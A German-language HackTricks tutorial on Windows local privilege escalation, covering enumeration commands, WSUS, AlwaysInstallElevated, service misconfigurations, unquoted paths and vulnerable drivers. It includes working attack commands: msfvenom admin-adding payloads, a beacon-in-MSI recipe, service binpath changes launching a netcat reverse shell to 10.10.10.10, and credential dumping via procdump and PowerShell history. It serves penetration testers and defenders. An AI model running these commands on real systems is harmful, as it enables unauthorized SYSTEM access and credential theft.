Windows lokale Privilegieneskalation

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks

Best tool to look for Windows local privilege escalation vectors: WinPEAS

EinfĂŒhrende Windows-Theorie

Access Tokens

Wenn du nicht weißt, was Windows Access Tokens sind, lies die folgende Seite, bevor du fortfĂ€hrst:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Sieh dir die folgende Seite fĂŒr mehr Informationen zu ACLs - DACLs/SACLs/ACEs an:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Wenn du nicht weißt, was Integrity Levels in Windows sind, solltest du die folgende Seite lesen, bevor du fortfĂ€hrst:

Integrity Levels

Windows Sicherheitskontrollen

Es gibt verschiedene Dinge in Windows, die dich daran hindern können, das System zu durchforsten, ausfĂŒhrbare Dateien auszufĂŒhren oder sogar deine AktivitĂ€ten zu erkennen. Du solltest die folgende Seite lesen und alle diese Abwehrmechanismen enumerieren, bevor du mit der privilege escalation enumeration beginnst:

Windows Security Controls

Systeminfo

Versionsinfo-Enumeration

PrĂŒfe, ob die Windows-Version bekannte Schwachstellen hat (prĂŒfe auch, welche Patches angewendet sind).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version-Exploits

Diese Seite ist praktisch, um detaillierte Informationen zu Microsoft-SicherheitslĂŒcken zu finden. Diese Datenbank enthĂ€lt mehr als 4.700 SicherheitslĂŒcken und zeigt die massive attack surface, die eine Windows-Umgebung darstellt.

Auf dem System

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas hat watson eingebettet)

Lokal mit Systeminformationen

Github-Repositories von exploits:

Umgebung

Sind irgendwelche credential/Juicy-Informationen in den env variables gespeichert?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShell-Verlauf

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell-Transkriptdateien

Wie Sie dies aktivieren, erfahren Sie unter https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Details von PowerShell-Pipeline-AusfĂŒhrungen werden aufgezeichnet und umfassen ausgefĂŒhrte Befehle, Befehlsaufrufe und Teile von Skripten. VollstĂ€ndige AusfĂŒhrungsdetails und Ausgabeergebnisse werden jedoch möglicherweise nicht erfasst.

Um dies zu aktivieren, befolgen Sie die Anweisungen im Abschnitt “Transcript files” der Dokumentation und wĂ€hlen Sie “Module Logging” statt “Powershell Transcription”.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Um die letzten 15 Ereignisse aus den PowersShell logs anzuzeigen, können Sie ausfĂŒhren:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Ein vollstĂ€ndiges Protokoll aller AktivitĂ€ten und des gesamten Inhalts der SkriptausfĂŒhrung wird erfasst, sodass jeder Codeblock wĂ€hrend seiner AusfĂŒhrung dokumentiert wird. Dieser Vorgang bewahrt eine umfassende PrĂŒfspur jeder AktivitĂ€t, die fĂŒr die Forensik und die Analyse bösartiger AktivitĂ€ten wertvoll ist. Durch die Dokumentation aller AktivitĂ€ten zum Zeitpunkt der AusfĂŒhrung werden detaillierte Einblicke in den Prozess gewonnen.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Die Ereignisprotokolle fĂŒr den Script Block finden Sie in der Windows-Ereignisanzeige unter dem Pfad: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Um die letzten 20 Ereignisse anzuzeigen, können Sie Folgendes verwenden:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Interneteinstellungen

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Laufwerke

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Sie können das System kompromittieren, wenn die Updates nicht mittels httpS angefordert werden, sondern ĂŒber http.

Beginnen Sie damit zu prĂŒfen, ob das Netzwerk ein non-SSL WSUS update verwendet, indem Sie Folgendes in cmd ausfĂŒhren:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Oder Folgendes in PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Wenn Sie eine Antwort wie eine der folgenden erhalten:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer or Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" is equals to 1.

Then, it is exploitable. If the last registry is equals to 0, then, the WSUS entry will be ignored.

In orther to exploit this vulnerabilities you can use tools like: Wsuxploit, pyWSUS - These are MiTM weaponized exploits scripts to inject ‘fake’ updates into non-SSL WSUS traffic.

Read the research here:

WSUS CVE-2020-1013

Read the complete report here.
Basically, this is the flaw that this bug exploits:

Wenn wir die Möglichkeit haben, unseren lokalen Benutzerproxy zu Ă€ndern, und Windows Updates den in den Internet Explorer-Einstellungen konfigurierten Proxy verwendet, haben wir somit die Möglichkeit, PyWSUS lokal auszufĂŒhren, unseren eigenen Traffic abzufangen und Code als erhöhter Benutzer auf unserem Asset auszufĂŒhren.

DarĂŒber hinaus verwendet der WSUS-Dienst die Einstellungen des aktuellen Benutzers und somit auch dessen Zertifikatsspeicher. Wenn wir ein selbstsigniertes Zertifikat fĂŒr den WSUS-Hostname erzeugen und dieses Zertifikat in den Zertifikatsspeicher des aktuellen Benutzers hinzufĂŒgen, können wir sowohl HTTP- als auch HTTPS-WSUS-Traffic abfangen. WSUS verwendet keine HSTS-Ă€hnlichen Mechanismen, um eine Trust-on-First-Use-artige Validierung des Zertifikats durchzufĂŒhren. Wenn das prĂ€sentierte Zertifikat vom Benutzer vertraut wird und den korrekten Hostnamen enthĂ€lt, wird es vom Dienst akzeptiert.

You can exploit this vulnerability using the tool WSUSpicious (once it’s liberated).

Third-Party Auto-Updaters and Agent IPC (local privesc)

Many enterprise agents expose a localhost IPC surface and a privileged update channel. If enrollment can be coerced to an attacker server and the updater trusts a rogue root CA or weak signer checks, a local user can deliver a malicious MSI that the SYSTEM service installs. See a generalized technique (based on the Netskope stAgentSvc chain – CVE-2025-0309) here:

Abusing Auto Updaters And Ipc

KrbRelayUp

A local privilege escalation vulnerability exists in Windows domain environments under specific conditions. These conditions include environments where LDAP signing is not enforced, users possess self-rights allowing them to configure Resource-Based Constrained Delegation (RBCD), and the capability for users to create computers within the domain. It is important to note that these requirements are met using default settings.

Find the exploit in https://github.com/Dec0ne/KrbRelayUp

For more information about the flow of the attack check https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Wenn Sie eine meterpreter-Session haben, können Sie diese Technik mit dem Modul exploit/windows/local/always_install_elevated automatisieren

PowerUP

Verwenden Sie den Befehl Write-UserAddMSI von power-up, um im aktuellen Verzeichnis eine Windows MSI binary zur Privilegieneskalation zu erstellen. Dieses Skript schreibt einen vorkompilierten MSI installer, der zur HinzufĂŒgung eines user/group auffordert (so you will need GIU access):

Write-UserAddMSI

FĂŒhre einfach das erstellte Binary aus, um Privilegien zu eskalieren.

MSI Wrapper

Lies dieses Tutorial, um zu lernen, wie man einen MSI Wrapper mit diesem Tool erstellt. Beachte, dass du eine “.bat” Datei einpacken kannst, wenn du nur Kommandozeilen ausfĂŒhren möchtest.

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

  • Generiere mit Cobalt Strike oder Metasploit eine neue Windows EXE TCP payload in C:\privesc\beacon.exe
  • Öffne Visual Studio, wĂ€hle Create a new project und gib “installer” in das Suchfeld ein. WĂ€hle das Setup Wizard Projekt und klicke Next.
  • Gib dem Projekt einen Namen, z. B. AlwaysPrivesc, benutze C:\privesc als Speicherort, wĂ€hle place solution and project in the same directory, und klicke Create.
  • Klicke weiter auf Next, bis du Schritt 3 von 4 erreichst (choose files to include). Klicke Add und wĂ€hle die gerade erzeugte Beacon-Payload. Dann klicke auf Finish.
  • Markiere das AlwaysPrivesc Projekt im Solution Explorer und Ă€ndere in den Properties TargetPlatform von x86 auf x64.
  • Es gibt weitere Properties, die du Ă€ndern kannst, z. B. Author und Manufacturer, was die installierte App legitimer erscheinen lassen kann.
  • Rechtsklicke auf das Projekt und wĂ€hle View > Custom Actions.
  • Rechtsklicke Install und wĂ€hle Add Custom Action.
  • Doppelklicke auf Application Folder, wĂ€hle deine beacon.exe Datei und klicke OK. Dadurch wird sichergestellt, dass die Beacon-Payload sofort ausgefĂŒhrt wird, sobald der Installer gestartet wird.
  • Unter den Custom Action Properties, Ă€ndere Run64Bit auf True.
  • Baue das Projekt.
  • Falls die Warnung File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' angezeigt wird, stelle sicher, dass du die Plattform auf x64 setzt.

MSI Installation

Um die Installation der bösartigen .msi-Datei im Hintergrund auszufĂŒhren:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Um diese Schwachstelle zu exploiten können Sie verwenden: exploit/windows/local/always_install_elevated

Antivirus und Detektoren

Audit-Einstellungen

Diese Einstellungen bestimmen, was protokolliert wird, daher sollten Sie darauf achten

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding ist interessant, um zu wissen, wohin die logs gesendet werden

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS ist fĂŒr die Verwaltung lokaler Administrator-Passwörter konzipiert und stellt sicher, dass jedes Passwort auf DomĂ€nenmitgliedern einzigartig, zufĂ€llig und regelmĂ€ĂŸig aktualisiert wird. Diese Passwörter werden sicher in Active Directory gespeichert und können nur von Benutzern abgerufen werden, denen durch ACLs ausreichende Berechtigungen zum Anzeigen der lokalen Administrator-Passwörter gewĂ€hrt wurden.

LAPS

WDigest

Wenn aktiv, werden Klartext-Passwörter in LSASS (Local Security Authority Subsystem Service) gespeichert.
Mehr Informationen zu WDigest auf dieser Seite.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA-Schutz

Ab Windows 8.1 hat Microsoft einen erweiterten Schutz fĂŒr die Local Security Authority (LSA) eingefĂŒhrt, um Versuche nicht vertrauenswĂŒrdiger Prozesse zu blockieren, die seinen Speicher auszulesen oder Code zu injizieren, und so das System zusĂ€tzlich abzusichern.
More info about LSA Protection here.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard wurde in Windows 10 eingefĂŒhrt. Sein Zweck ist es, die auf einem GerĂ€t gespeicherten Anmeldeinformationen gegen Bedrohungen wie pass-the-hash attacks zu schĂŒtzen.| More info about Credentials Guard here.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials werden von der Local Security Authority (LSA) authentifiziert und von Komponenten des Betriebssystems verwendet. Wenn die Anmeldedaten eines Benutzers von einem registrierten security package authentifiziert werden, werden fĂŒr den Benutzer typischerweise domain credentials erstellt.
More info about Cached Credentials here.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Benutzer & Gruppen

Benutzer & Gruppen auflisten

Sie sollten prĂŒfen, ob eine der Gruppen, denen Sie angehören, interessante Berechtigungen hat.

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Privilegierte Gruppen

Wenn du zu einer privilegierten Gruppe gehörst, kannst du möglicherweise Privilegien eskalieren. Erfahre hier mehr ĂŒber privilegierte Gruppen und wie du sie missbrauchen kannst, um Privilegien zu eskalieren:

Privileged Groups

Token-Manipulation

Mehr erfahren darĂŒber, was ein token ist auf dieser Seite: Windows Tokens.
Siehe die folgende Seite, um mehr ĂŒber interessante tokens und wie man sie missbraucht zu erfahren:

Abusing Tokens

Angemeldete Benutzer / Sitzungen

qwinsta
klist sessions

Home-Verzeichnisse

dir C:\Users
Get-ChildItem C:\Users

Passwort-Richtlinie

net accounts

Den Inhalt der Zwischenablage abrufen

powershell -command "Get-Clipboard"

Laufende Prozesse

Datei- und Ordnerberechtigungen

Zuallererst: Beim Auflisten der Prozesse prĂŒfe, ob sich Passwörter in der Befehlszeile des Prozesses befinden.
PrĂŒfe, ob du ein laufendes Binary ĂŒberschreiben kannst oder Schreibrechte fĂŒr den binary-Ordner hast, um mögliche DLL Hijacking attacks auszunutzen:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

PrĂŒfe immer auf mögliche electron/cef/chromium debuggers running, you could abuse it to escalate privileges.

ÜberprĂŒfen der Berechtigungen der Prozess-Binaries

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

PrĂŒfen der Berechtigungen der Ordner der BinĂ€rdateien von Prozessen (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

Du kannst einen memory dump eines laufenden Prozesses mit procdump von sysinternals erstellen. Dienste wie FTP speichern oft die credentials in clear text in memory — versuche, den Speicher zu dumpen und die credentials auszulesen.

procdump.exe -accepteula -ma <proc_name_tasklist>

Unsichere GUI-Apps

Anwendungen, die als SYSTEM laufen, können einem Benutzer erlauben, eine CMD zu starten oder Verzeichnisse zu durchsuchen.

Beispiel: “Windows Help and Support” (Windows + F1), suche nach “command prompt”, klicke auf “Click to open Command Prompt”

Dienste

Service Triggers erlauben Windows, einen Dienst zu starten, wenn bestimmte Bedingungen eintreten (named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh, etc.). Selbst ohne SERVICE_START-Rechte kann man oft privilegierte Dienste starten, indem man ihre Trigger auslöst. Siehe AufzÀhlungs- und Aktivierungstechniken hier:

Service Triggers

Eine Liste der Dienste abrufen:

net start
wmic service list brief
sc query
Get-Service

Berechtigungen

Du kannst sc verwenden, um Informationen ĂŒber einen Dienst zu erhalten

sc qc <service_name>

Es wird empfohlen, das Binary accesschk von Sysinternals zu verwenden, um die fĂŒr jeden Dienst erforderliche Berechtigungsstufe zu prĂŒfen.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Es wird empfohlen zu prĂŒfen, ob “Authenticated Users” irgendeinen Dienst Ă€ndern können:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

Dienst aktivieren

Wenn Sie diesen Fehler haben (zum Beispiel bei SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

Sie können es wie folgt aktivieren:

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Beachte, dass der Dienst upnphost von SSDPSRV abhĂ€ngig ist, um zu funktionieren (fĂŒr XP SP1)

Eine weitere Umgehung dieses Problems ist das AusfĂŒhren von:

sc.exe config usosvc start= auto

Dienst-BinÀrpfad Àndern

Im Szenario, in dem die Gruppe “Authenticated users” SERVICE_ALL_ACCESS fĂŒr einen Dienst besitzt, ist eine Änderung der ausfĂŒhrbaren BinĂ€rdatei des Dienstes möglich. Um sc zu modifizieren und auszufĂŒhren:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Dienst neu starten

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Privileges can be escalated through various permissions:

  • SERVICE_CHANGE_CONFIG: Ermöglicht die Neukonfiguration der Service-BinĂ€rdatei.
  • WRITE_DAC: Ermöglicht das Ändern von Berechtigungen, wodurch Service-Konfigurationen verĂ€ndert werden können.
  • WRITE_OWNER: Ermöglicht den EigentĂŒmerwechsel und das Ändern von Berechtigungen.
  • GENERIC_WRITE: Ermöglicht ebenfalls das Ändern von Service-Konfigurationen.
  • GENERIC_ALL: Ermöglicht ebenfalls das Ändern von Service-Konfigurationen.

For the detection and exploitation of this vulnerability, the exploit/windows/local/service_permissions can be utilized.

Schwache Berechtigungen von Service-Binaries

PrĂŒfe, ob du die vom Service ausgefĂŒhrte BinĂ€rdatei verĂ€ndern kannst oder ob du Schreibrechte auf den Ordner besitzt, in dem die BinĂ€rdatei liegt (DLL Hijacking).
Du kannst alle BinĂ€rdateien, die von einem Service ausgefĂŒhrt werden, mit wmic (nicht in system32) erhalten und deine Berechtigungen mit icacls prĂŒfen:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Du kannst auch sc und icacls verwenden:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Berechtigungen zum Modifizieren der Service-Registry

Du solltest prĂŒfen, ob du eine Service-Registry Ă€ndern kannst.
Du kannst deine Berechtigungen fĂŒr eine Service-Registry wie folgt prĂŒfen:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Es sollte ĂŒberprĂŒft werden, ob Authenticated Users oder NT AUTHORITY\INTERACTIVE FullControl-Berechtigungen besitzen. Falls ja, kann das vom Service ausgefĂŒhrte Binary verĂ€ndert werden.

Um den Pfad des ausgefĂŒhrten Binarys zu Ă€ndern:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Services-Registry AppendData/AddSubdirectory Berechtigungen

Wenn Sie diese Berechtigung fĂŒr eine Registry haben, bedeutet das, dass Sie daraus Unter-Registries erstellen können. Im Fall von Windows services reicht das aus, um beliebigen Code auszufĂŒhren:

AppendData/AddSubdirectory permission over service registry

Nicht in AnfĂŒhrungszeichen gesetzte Service-Pfade

Wenn der Pfad zu einer ausfĂŒhrbaren Datei nicht in AnfĂŒhrungszeichen steht, versucht Windows, jede Teilangabe vor einem Leerzeichen auszufĂŒhren.

Zum Beispiel, fĂŒr den Pfad C:\Program Files\Some Folder\Service.exe wird Windows versuchen, auszufĂŒhren:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Alle nicht in AnfĂŒhrungszeichen stehenden Service-Pfade auflisten, ausgenommen solche, die zu integrierten Windows-Diensten gehören:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose

for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Du kannst diese Schwachstelle mit metasploit erkennen und ausnutzen: exploit/windows/local/trusted\_service\_path Du kannst manuell ein Service-Binary mit metasploit erstellen:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Wiederherstellungsaktionen

Windows erlaubt es Benutzern, Aktionen anzugeben, die ausgefĂŒhrt werden sollen, wenn ein Dienst ausfĂ€llt. Diese Funktion kann so konfiguriert werden, dass sie auf ein binary zeigt. Wenn dieses binary ersetzbar ist, kann privilege escalation möglich sein. Weitere Informationen finden sich in der offiziellen Dokumentation.

Anwendungen

Installierte Anwendungen

ÜberprĂŒfe die Berechtigungen der binaries (vielleicht kannst du eines ĂŒberschreiben und escalate privileges) und die Ordner (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Schreibberechtigungen

PrĂŒfe, ob du eine Konfigurationsdatei modifizieren kannst, um eine bestimmte Datei zu lesen, oder ob du ein Binary verĂ€ndern kannst, das von einem Administrator-Konto ausgefĂŒhrt wird (schedtasks).

Eine Möglichkeit, schwache Ordner-/Dateiberechtigungen im System zu finden, ist:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*

icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Beim Systemstart ausfĂŒhren

PrĂŒfe, ob du eine Registry-Einstellung oder eine Binary ĂŒberschreiben kannst, die von einem anderen Benutzer ausgefĂŒhrt wird.
Lies die folgende Seite, um mehr ĂŒber interessante autoruns locations to escalate privileges zu erfahren:

Privilege Escalation with Autoruns

Treiber

Suche nach möglichen third party weird/vulnerable Treibern

driverquery
driverquery.exe /fo table
driverquery /SI

Wenn ein Treiber eine beliebige Kernel-Lese/Schreib‑Primitiv exponiert (hĂ€ufig in schlecht gestalteten IOCTL‑Handlern), kannst du eskalieren, indem du ein SYSTEM‑Token direkt aus dem Kernel‑Speicher stiehlst. Siehe die Schritt‑fĂŒr‑Schritt‑Technik hier:

Arbitrary Kernel Rw Token Theft

Bei Race‑Condition‑Bugs, bei denen der verwundbare Aufruf einen vom Angreifer kontrollierten Object Manager‑Pfad öffnet, kann das absichtliche Verlangsamen der Lookup‑Operation (durch Verwendung von Komponenten mit maximaler LĂ€nge oder tiefen Verzeichnisketten) das Zeitfenster von Mikrosekunden auf Zehner von Mikrosekunden strecken:

Kernel Race Condition Object Manager Slowdown

Speicher‑Korruptions‑Primitiven in Registry‑Hives

Moderne Hive‑Schwachstellen erlauben es, deterministische Layouts vorzubereiten, schreibbare HKLM/HKU‑Abkömmlinge zu missbrauchen und Metadatenkorruption ohne eigenen Treiber in kernel paged‑pool overflows umzuwandeln. Lerne die komplette Kette hier:

Windows Registry Hive Exploitation

Ausnutzung fehlenden FILE_DEVICE_SECURE_OPEN auf Device‑Objekten (LPE + EDR kill)

Einige signierte Drittanbieter‑Treiber erstellen ihr Device‑Objekt mit einer starken SDDL via IoCreateDeviceSecure, vergessen aber, FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics zu setzen. Ohne dieses Flag wird die sichere DACL nicht durchgesetzt, wenn das Device ĂŒber einen Pfad geöffnet wird, der eine zusĂ€tzliche Komponente enthĂ€lt, wodurch jeder unprivilegierte Benutzer einen Handle erhalten kann, indem er einen Namespace‑Pfad wie verwendet:

  • \ .\DeviceName\anything
  • \ .\amsdk\anyfile (aus einem realen Fall)

Sobald ein Benutzer das Device öffnen kann, können vom Treiber exponierte privilegierte IOCTLs fĂŒr LPE und Manipulation missbraucht werden. Beispielhafte FĂ€higkeiten, die in der Praxis beobachtet wurden:

  • RĂŒckgabe von Vollzugriffs‑Handles zu beliebigen Prozessen (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
  • Unrestricted raw disk read/write (offline tampering, boot-time persistence tricks).
